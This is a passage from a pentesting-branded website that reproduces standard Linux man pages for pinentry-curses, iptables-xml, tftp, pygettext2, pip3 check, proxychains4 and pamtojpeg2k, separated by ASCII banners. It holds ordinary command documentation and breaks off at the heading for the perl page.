pinentry-curses is a program that allows for secure entry of PINs or pass phrases. That means it tries to take care that the entered information is not swapped to disk or temporarily stored anywhere. This functionality is particularly useful for entering pass phrases when using encryption software such as GnuPG or e-mail clients using the same. It uses an open protocol and is therefore not tied to particular software.

pinentry-curses implements a PIN entry dialog using the curses tool kit, meaning that it is useful for users working in text mode without the X Window System. There are other flavors that implement PIN entry dialogs that use an X tool kit. If you have installed any of the latter programs then this program is not necessary because the X flavors automatically fall back to text mode if X is not active.

pinentry-curses is typically used internally by gpg-agent. Users don’t normally have a reason to call it directly.

OPTIONS

–version
Print the program version and licensing information.

–help
Print a usage message summarizing the most useful command-line options.

–debug, -d
Turn on some debugging. Mostly useful for the maintainers. Note that this may reveal sensitive information like the entered pass phrase.

–enhanced, -e
Ask for timeouts and insurance, too. Note that this is currently not fully supported.

–no-global-grab, -g
Grab the keyboard only when the window is focused. Use this option if you are debugging software using pinentry-curses; otherwise you may not be able to to access your X session anymore (unless you have other means to connect to the machine to kill pinentry-curses).

–parent-wid N
Use window ID N as the parent window for positioning the window. Note, that this is not fully supported by all flavors of pinentry.

–display STRING, –ttyname STRING, –ttytype STRING, –lc-ctype STRING, –lc-messages STRING
These options are used to pass localization information to pinentry-curses. They are required because pinentry-curses is usually called by some background process which does not have any information on the locale and terminal to use. Assuan protocol options are an alternative way to pass these information.

SEE ALSO

pinentry-gtk-2(1), pinentry-qt(1), pinentry-fltk(1), pinentry-gnome3(1), pinentry-tty(1), gpg(1), gpg-agent(1)

The full documentation for pinentry-curses is maintained as a Texinfo manual. If the pinentry-doc package is installed, the command

info pinentry

should give you access to the complete manual.

AUTHOR

This manual page was written by Peter Eisentraut for the Debian project.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1436 - Linux cli command iptables-xml

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command iptables-xml and provides detailed information about the command iptables-xml, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the iptables-xml.

NAME 🖥️ iptables-xml 🖥️

xml — Convert iptables-save format to XML

SYNOPSIS

iptables-xml [-c] [-v]

DESCRIPTION

iptables-xml is used to convert the output of iptables-save into an easily manipulatable XML format to STDOUT. Use I/O-redirection provided by your shell to write to a file.

-c, –combine
combine consecutive rules with the same matches but different targets. iptables does not currently support more than one target per match, so this simulates that by collecting the targets from consecutive iptables rules into one action tag, but only when the rule matches are identical. Terminating actions like RETURN, DROP, ACCEPT and QUEUE are not combined with subsequent targets.

-v, –verbose
Output xml comments containing the iptables line from which the XML is derived

iptables-xml does a mechanistic conversion to a very expressive xml format; the only semantic considerations are for -g and -j targets in order to discriminate between <call> <goto> and <nane-of-target> as it helps xml processing scripts if they can tell the difference between a target like SNAT and another chain.

Some sample output is:

<iptables-rules> <table name=“mangle”> <chain name=“PREROUTING” policy=“ACCEPT” packet-count=“63436” byte-count=“7137573”> <rule> <conditions> <match> <p>tcp</p> </match> <tcp> <sport>8443</sport> </tcp> </conditions> <actions> <call> <check_ip/> </call> <ACCEPT/> </actions> </rule> </chain> </table> </iptables-rules>

Conversion from XML to iptables-save format may be done using the iptables.xslt script and xsltproc, or a custom program using libxsltproc or similar; in this fashion:

xsltproc iptables.xslt my-iptables.xml | iptables-restore

BUGS

None known as of iptables-1.3.7 release

AUTHOR

Sam Liddicott <[email protected]>

SEE ALSO

iptables-save(8), iptables-restore(8), iptables(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1437 - Linux cli command tftp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tftp and provides detailed information about the command tftp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tftp.

NAME 🖥️ tftp 🖥️

IPv4 Trivial File Transfer Protocol client

SYNOPSIS

tftp [ options… ] [host [port]] [-c command]

DESCRIPTION

tftp is a client for the Trivial file Transfer Protocol, which can be used to transfer files to and from remote machines, including some very minimalistic, usually embedded, systems. The remote host may be specified on the command line, in which case tftp uses host as the default host for future transfers (see the connect command below.)

OPTIONS

-4
Connect with IPv4 only, even if IPv6 support was compiled in.

-6
Connect with IPv6 only, if compiled in.

-c command
Execute command as if it had been entered on the tftp prompt. Must be specified last on the command line.

-l
Default to literal mode. Used to avoid special processing of ‘:’ in a file name.

-m mode
Set the default transfer mode to mode. This is usually used with -c.

-R port:port
Force the originating port number to be in the specified range of port numbers.

-v
Default to verbose mode.

-V
Print the version number and configuration to standard output, then exit gracefully.

COMMANDS

Once tftp is running, it issues the prompt tftp> and recognizes the following commands:

? command-name…
help command-name…
Print help information

ascii
Shorthand for mode ascii.

binary
Shorthand for mode binary.

connect host [port]
Set the host (and optionally port) for transfers. Note that the TFTP protocol, unlike the FTP protocol, does not maintain connections between transfers; thus, the connect command does not actually create a connection, but merely remembers what host is to be used for transfers. You do not have to use the connect command; the remote host can be specified as part of the get or put commands.

get file
get remotefile localfile
get file1 file2 file3…
Get a file or set of files from the specified sources. A remote filename can be in one of two forms: a plain filename on the remote host, if the host has already been specified, or a string of the form host:filename to specify both a host and filename at the same time. If the latter form is used, the last hostname specified becomes the default for future transfers. Enable literal mode to prevent special treatment of the ‘:’ character (e.g. C:\dir ile).

literal
Toggle literal mode. When set, this mode prevents special treatment of ‘:’ in filenames.

mode transfer-mode
Specify the mode for transfers; transfer-mode may be one of ascii (or netascii) or binary (or octet.) The default is ascii.

put file
put localfile remotefile
put file1 file2 file3… remote-directory
Put a file or set of files to the specified remote file or directory. The destination can be in one of two forms: a filename on the remote host, if the host has already been specified, or a string of the form host:filename to specify both a host and filename at the same time. If the latter form is used, the hostname specified becomes the default for future transfers. If the remote-directory form is used, the remote host is assumed to be a UNIX system or another system using / as directory separator. Enable literal mode to prevent special treatment of the ‘:’ character (e.g. C:\dir ile).

quit
Exit tftp. End-of-file will also exit.

rexmt retransmission-timeout
Set the per-packet retransmission timeout, in seconds.

status
Show current status.

timeout total-transmission-timeout
Set the total transmission timeout, in seconds.

trace
Toggle packet tracing (a debugging feature.)

verbose
Toggle verbose mode.

NOTES

The TFTP protocol provides no provisions for authentication or security. Therefore, the remote server will probably implement some kinds of access restriction or firewalling. These access restrictions are likely to be site- and server-specific.

AUTHOR

This version of tftp is maintained by H. Peter Anvin <[email protected]>. It was derived from, but has substantially diverged from, an OpenBSD source base, with added patches by Markus Gutschke and Gero Kulhman.

SEE ALSO

tftpd(8).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1438 - Linux cli command pygettext2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pygettext2 and provides detailed information about the command pygettext2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pygettext2.

NAME 🖥️ pygettext2 🖥️

Python equivalent of xgettext(1)

SYNOPSIS

pygettext [OPTIONS] INPUTFILE

DESCRIPTION

pygettext is deprecated. The current version of xgettext supports many languages, including Python.

pygettext uses Python’s standard tokenize module to scan Python source code, generating .pot files identical to what GNU xgettext generates for C and C++ code. From there, the standard GNU tools can be used.

pygettext searches only for _() by default, even though GNU xgettext recognizes the following keywords: gettext, dgettext, dcgettext, and gettext_noop. See the -k/–keyword flag below for how to augment this.

OPTIONS

-a, –extract-all
Extract all strings.

-d, –default-domain=NAME
Rename the default output file from messages.pot to name.pot.

-E, –escape
Replace non-ASCII characters with octal escape sequences.

-D, –docstrings
Extract module, class, method, and function docstrings. These do not need to be wrapped in _() markers, and in fact cannot be for Python to consider them docstrings. (See also the -X option).

-h, –help
Print this help message and exit.

-k, –keyword=WORD
Keywords to look for in addition to the default set, which are: _

You can have multiple -k flags on the command line.

-K, –no-default-keywords
Disable the default set of keywords (see above). Any keywords explicitly added with the -k/–keyword option are still recognized.

–no-location
Do not write filename/lineno location comments.

-n, –add-location
Write filename/lineno location comments indicating where each extracted string is found in the source. These lines appear before each msgid. The style of comments is controlled by the -S/–style option. This is the default.

-o, –output=FILENAME
Rename the default output file from messages.pot to FILENAME. If FILENAME is `-’ then the output is sent to standard out.

-p, –output-dir=DIR
Output files will be placed in directory DIR.

-S, –style=STYLENAME
Specify which style to use for location comments. Two styles are supported:

  • Solaris # File: filename, line: line-number

  • GNU #: filename:line

The style name is case insensitive. GNU style is the default.

-v, –verbose
Print the names of the files being processed.

-V, –version
Print the version of pygettext and exit.

-w, –width=COLUMNS
Set width of output to columns.

-x, –exclude-file=FILENAME
Specify a file that contains a list of strings that are not be extracted from the input files. Each string to be excluded must appear on a line by itself in the file.

-X, –no-docstrings=FILENAME
Specify a file that contains a list of files (one per line) that should not have their docstrings extracted. This is only useful in conjunction with the -D option above.

If `INPUTFILE’ is -, standard input is read.

BUGS

pygettext attempts to be option and feature compatible with GNU xgettext where ever possible. However some options are still missing or are not fully implemented. Also, xgettext’s use of command line switches with option arguments is broken, and in these cases, pygettext just defines additional switches.

AUTHOR

pygettext is written by Barry Warsaw <[email protected]>.

Joonas Paalasmaa <[email protected]> put this manual page together based on “pygettext –help”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1439 - Linux cli command pip3-check

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pip3-check and provides detailed information about the command pip3-check, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pip3-check.

NAME 🖥️ pip3-check 🖥️

check - description of pip3 check command

DESCRIPTION

Verify installed packages have compatible dependencies.

USAGE

python -m pip check [options]

OPTIONS

-h, –help
Show help.

(environment variable: PIP_HELP)

–debug
Let unhandled exceptions propagate outside the main subroutine, instead of logging them to stderr.

(environment variable: PIP_DEBUG)

–isolated
Run pip in an isolated mode, ignoring environment variables and user configuration.

(environment variable: PIP_ISOLATED)

–require-virtualenv
Allow pip to only run in a virtual environment; exit with an error otherwise.

(environment variable: PIP_REQUIRE_VIRTUALENV, PIP_REQUIRE_VENV)

–python <python>
Run pip with the specified Python interpreter.

(environment variable: PIP_PYTHON)

-v, –verbose
Give more output. Option is additive, and can be used up to 3 times.

(environment variable: PIP_VERBOSE)

-V, –version
Show version and exit.

(environment variable: PIP_VERSION)

-q, –quiet
Give less output. Option is additive, and can be used up to 3 times (corresponding to WARNING, ERROR, and CRITICAL logging levels).

(environment variable: PIP_QUIET)

–log <path>
Path to a verbose appending log.

(environment variable: PIP_LOG, PIP_LOG_FILE, PIP_LOCAL_LOG)

–no-input
Disable prompting for input.

(environment variable: PIP_NO_INPUT)

–keyring-provider <keyring_provider>
Enable the credential lookup via the keyring library if user input is allowed. Specify which mechanism to use [disabled, import, subprocess]. (default: disabled)

(environment variable: PIP_KEYRING_PROVIDER)

–proxy <proxy>
Specify a proxy in the form scheme://[user:passwd@]proxy.server:port.

(environment variable: PIP_PROXY)

–retries <retries>
Maximum number of retries each connection should attempt (default 5 times).

(environment variable: PIP_RETRIES)

–timeout <sec>
Set the socket timeout (default 15 seconds).

(environment variable: PIP_TIMEOUT, PIP_DEFAULT_TIMEOUT)

–exists-action <action>
Default action when a path already exists: (s)witch, (i)gnore, (w)ipe, (b)ackup, (a)bort.

(environment variable: PIP_EXISTS_ACTION)

–trusted-host <hostname>
Mark this host or host:port pair as trusted, even though it does not have valid or any HTTPS.

(environment variable: PIP_TRUSTED_HOST)

–cert <path>
Path to PEM-encoded CA certificate bundle. If provided, overrides the default. See ‘SSL Certificate Verification’ in pip documentation for more information.

(environment variable: PIP_CERT)

–client-cert <path>
Path to SSL client certificate, a single file containing the private key and the certificate in PEM format.

(environment variable: PIP_CLIENT_CERT)

–cache-dir <dir>
Store the cache data in <dir>.

(environment variable: PIP_CACHE_DIR)

–no-cache-dir
Disable the cache.

(environment variable: PIP_NO_CACHE_DIR)

–disable-pip-version-check
Don’t periodically check PyPI to determine whether a new version of pip is available for download. Implied with –no-index.

(environment variable: PIP_DISABLE_PIP_VERSION_CHECK)

–no-color
Suppress colored output.

(environment variable: PIP_NO_COLOR)

–no-python-version-warning
Silence deprecation warnings for upcoming unsupported Pythons.

(environment variable: PIP_NO_PYTHON_VERSION_WARNING)

–use-feature <feature>
Enable new functionality, that may be backward incompatible.

(environment variable: PIP_USE_FEATURE)

–use-deprecated <feature>
Enable deprecated functionality, that will be removed in the future.

(environment variable: PIP_USE_DEPRECATED)

AUTHOR

pip developers

COPYRIGHT

The pip developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1440 - Linux cli command proxychains4

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command proxychains4 and provides detailed information about the command proxychains4, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the proxychains4.

NAME 🖥️ proxychains4 🖥️

redirect connections through proxy servers

SYNOPSIS

proxychains4 –help
proxychains4 [ -f configfile.conf ] <program>

DESCRIPTION

This program forces any tcp connection made by any given tcp client to follow through proxy (or proxy chain). It is a kind of proxifier.

It acts like sockscap / premeo / eborder driver (intercepts TCP calls).

This version (v4) supports SOCKS4, SOCKS5 and HTTP CONNECT proxy servers. Auth-types: socks - “user/pass” , http - “basic”.

When to use it?

  1. When the only way to get “outside” from your LAN is through proxy server.

  2. When you are behind restrictive firewall which filters outgoing connections to some ports.

  3. When you want to use two (or more) proxies in chain:
    like: your_host <–> proxy1 <–> proxy2 <–> target_host

  4. When you want to “proxify” some programs with no proxy support built-in (like telnet).

  5. When you don’t want to pay for eBorder / premeo socks driver :)

Some cool features:

  • This program can mix different proxy types in the same chain. For instance:

    your_host <–>socks5 <–> http <–> socks4 <–> http <–> target_host

  • Different chaining options are supported. For instance:

    • take random proxy from the list

    • chain proxies in exact order

    • chain proxies in dynamic order (smart exclude dead proxies from chain)

  • You can use it with any TCP client application, even network scanners. Yes, yes - you can make portscan via proxy (or chained proxies) for example with Nmap scanner by fyodor (www.insecure.org/nmap).

proxychains nmap -sT -PO -p 80 -iR (find some webservers through proxy)

NOTE: to run suid/sgid programs(like ssh) through proxychains you have to be root

FILES

proxychains looks for config file in following order:

file listed in environment variable PROXYCHAINS_CONF_FILE or provided as a -f argument to proxychains script or binary.
./proxychains.conf
$(HOME)/.proxychains/proxychains.conf
/etc/proxychains.conf
/etc/proxychains4.conf

More information is provided in /etc/proxychains4.conf file.

EXAMPLES

To run this program the standard way type:
proxychains telnet targethost.com

In this example, it will run telnet through proxy(or chained proxies) specified by proxychains.conf.

To run this program with custom configuration file:
proxychains -f /etc/proxychains-other.conf telnet targethost2.com

In this example, it will use a different configuration file as specified to connect to targethost2.com host.

COPYING

proxychains is distributed under the GNU General Public License. (GPL 2.0 or greater).

SEE ALSO

https://github.com/rofl0r/proxychains-ng

AUTHORS

The original author is:

Net Creature, Proxy Labs
<http://proxychains.sourceforge.net>

This manual page was updated by Boyuan Yang for the Debian Project (and may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1441 - Linux cli command pamtojpeg2k

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtojpeg2k and provides detailed information about the command pamtojpeg2k, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtojpeg2k.

.

NAME 🖥️ pamtojpeg2k 🖥️

convert PAM/PNM image to a JPEG-2000 code stream

SYNOPSIS

pamtojpeg2k [-imgareatlx=column] [-imgareatly=row] [-tilegrdtlx=column] [-tilegrdtly=row] [-tilewidth=columns] [-tileheight=rows] [-prcwidth=columns] [-prcheight=rows] [-cblkwidth=columns] [-cblkheight=rows] [-mode={integer|int|real}] [-compression=ratio] [-size=bytes] [-ilyrrates=[realnumber[,realnumber, …]] [-numrlvls=number] [-progression={lrcp|rlcp|rpcl|pcrl|cprl}] [-numgbits=number] [-nomct] [-sop] [-eph] [-lazy] [-termall] [-segsym] [-vcausal] [-pterm] [-resetprob] [-verbose] [**-debuglevel=**number] filename

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamtojpeg2k converts the named PBM, PGM, PPM, or PAM file, or Standard Input if no file is named, to a JPEG-2000 code stream (JPC) file on Standard Output.

The JPEG-2000 specification specifies two separate formats: JP2 and JPEG-2000 code stream (JPC). JP2 represents a visual image quite specifically, whereas JPC is a more or less arbitrary array of codes. pamtojpeg2k can’t produce a JP2, but the JPC image that pamtojpeg2k produces is very similar to a JP2 if the input is a PBM, PGM, or PPM image or equivalent PAM image. One difference is that the RGB intensity values in a JP2 are SRGB values, while pamtojpeg2k produces ITU-R Recommendation BT.709 values. Those are very similar, but not identical. Another difference is that a JP2 can contain extra information about an image that JPC cannot.

When the input is a PAM image other than a PBM, PGM, or PPM equivalent, the JPC raster produced contains whatever the PAM raster does. It can have any number of planes with any meanings; the planes are in the same order in the JPC output as in the PAM input.

A JPC image has a “precision,” which is the number of bits used for each code (in Netpbm lingo, “sample”). Actually, it has a separate precision for each component. pamtojpeg2k uses for the precision of every component the least number of bits that can represent the maxval of the input image. A JPC image does not have an independent concept of maxval; the maxval of a JPC sample is the maximum value that the number of bits specified by the precision can represent in pure binary code. E.g. if the precision is 4, the maxval is 15. pamtojpeg2k does of course scale the sample values from the input maxval to the output maxval. Example: The input maxval is 99. This means JPC precision is 7 bits and the JPC maxval is 127. A sample value of 33 in the input becomes a sample value of 43 in the output.

pamtojpeg2k generates the JPC output with the Jasper JPEG-2000 library . See documentation of the library for details on what pamtojpeg2k produces. Note that the Jasper library contains facilities for reading PNM images, but pamtojpeg2k does not use those. It uses the Netpbm library instead. Note that the makers of the Jasper library write it “JasPer,” but Netpbm documentation follows standard American English typography rules, which don’t allow that kind of capitalization.

Use jpeg2ktopam to convert in the other direction.

The program jasper, which is packaged with the Jasper JPEG-2000 library, also converts between JPEG-2000 and PNM formats. Because it’s packaged with the library, it may exploit it better, especially recently added features. However, since it does not use the Netpbm library to read and write the Netpbm formats, it doesn’t do as good a job on that side.

Another format with goals similar to those of JPEG-2000 but that allows for faster encoding and decoding, is JPEG-LS. CharLS is a package of software for using JPEG-LS.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtojpeg2k recognizes the following command line options:

Jasper Library Options

These options are identical in name and function to options that the Jasper library JPC encoder subroutine takes. See Jasper documentation for details.

**-imgareatlx=**column
**-imgareatly=**row
**-tilegrdtlx=**column
**-tilegrdtly=**row
**-tilewidth=**columns
**-tileheight=**rows
**-prcwidth=**columns
**-prcheight=**rows
**-cblkwidth=**columns
**-cblkheight=**rows
-mode={integer|int|real}
-ilyrrates=[realnumber[,realnumber, …]]
**-numrlvls=**number
-progression={lrcp|rlcp|rpcl|pcrl|cprl}
**-numgbits=**number
-nomct
-sop
-eph
-lazy
-termall
-segsym
-vcausal
-pterm
-resetprob

-ilyrrates (‘intermediate layer rates’) lets you control the compression at each layer. The compressed image is arranged in layers, so if you transmit it somewhere serially, enough information to make a low quality image arrives soon, then later more information arrives to improve the quality of the image, and so on until the entire image arrives. The value of this option is a list of ascending fractions, such as ‘.1,.3,.5’. Each fraction says the size of the layers up to and including that layer should add up to that fraction of the size of the input image. If the size of the entire image is limited by -compression or -size, none of these numbers may exceed that limit.

Other Options

**-compression=**ratio
ratio is a floating point number that specifies the compression ratio. pamtojpeg2k will adjust quality as necessary to ensure that you get this compression ratio. E.g. 4 means the output will be about one fourth the size in bytes of the input file.

The ratio concerns just the raster part of the image, with the denominator being what the raster would take if it were encoded the most naive way possible (e.g. 3 bytes per pixel in 8-bit-per-sample RGB). It does, however, include metadata that is part of the compressed raster. Because of that, it may not be possible to give you your requested compression ratio at any quality. If it isn’t, pamtojpeg2k fails with a message saying so.

If you don’t specify this option, pamtojpeg2k gives you the best compression it can without losing any quality. Because of the metadata issue described above, this may mean, for a small image, the image actually expands.

This option controls the ‘rate’ option of the Jasper library. Note that though the Jasper library takes a compression factor, this option specifies a compression ratio. The compression factor is the multiplicative inverse of (1 divided by) the compression ratio.

You may not specify this with -size.

Before Netpbm 10.61 (December 2012), the default was a compression ratio of 1, and if pamtojpeg2k could not make the output that small, it just made it as small as it could, with zero quality. You know this is happening when you see the warning message, “empty layer generated.”

**-size=**bytes
This option specifies the maximum size in bytes you want the output image to have. This size is all-in, including headers and trailers and other metadata. pamtojpeg2k will omit as much information as necessary to get under this limit.

It is possible to specify a value impossibly small, for example a value that doesn’t even leave room for the image header. If you do this, the program fails with an explanatory message.

This option controls the ‘rate’ option of the Jasper library.

You may not specify this with -compression.

This option was new in Netpbm 11.1 (December 2022).

-verbose
This option causes pamtojpeg2k to issue informational messages about the conversion process.

-debuglevel=number
This option controls debug messages from the Jasper library. pamtojpeg2k passes number as the debug level to the Jasper JPC encoder.

EXAMPLES

This example compresses losslessly.

  pamtojpeg2k myimg.ppm >myimg.jpc

jpeg2ktopam will recreate myimg.ppm exactly.

This example compresses the file to one tenth its original size, throwing away information as necessary.

  pamtojpeg2k -compression=10 myimg.pgm >myimg.jpc

ABOUT JPEG-2000

JPEG-2000 is a format that compresses a visual image (or a similar set of data) into a minimal number of bytes for storage or transmission. In that, its goal is similar to JPEG. It has two main differences from JPEG.

One difference is that it does a much better job on most images of throwing out information in order to achieve a smaller output. That means when you reconstruct the image from the resulting compressed file, it looks a lot closer to the image you started with JPEG-2000 than with JPEG, for the same compressed file size. Or, looked at another way, with JPEG-2000 you get a much smaller file than with JPEG for the same image quality.

The second difference is that with JPEG-2000, you decide how much compression you want and the compressor adjusts the quality to meet your requirement, whereas with JPEG, you decide how much quality you want and the compressor adjusts the size of the output to meet your requirement. I.e. with JPEG-2000, the quality of the result depends on the compressibility of the input, but with JPEG, the size of the result depends on the compressibility of the input.

With JPEG-2000, you can specify lossless compression, thus making it compete with GIF and PNG. With standard JPEG, you always lose something. (There are rumored to be variations of JPEG around that are lossless, though).

JPEG is much older than JPEG-2000 and far more popular. JPEG is one of the half dozen most popular graphics formats and virtually all graphics facilities understand it. JPEG-2000 is virtually unknown.

There is no compatibility between JPEG and JPEG-2000. Programs that read JPEG do not automatically read JPEG-2000 and vice versa.

SEE ALSO

jpeg2ktopam(1) , pnmtojpeg(1) , ppm(1) , pgm(1) , pbm(1) , pam(1) ,

HISTORY

pamtojpeg2k was added to Netpbm in Release 10.12 (November 2002).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtojpeg2k.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1442 - Linux cli command perl

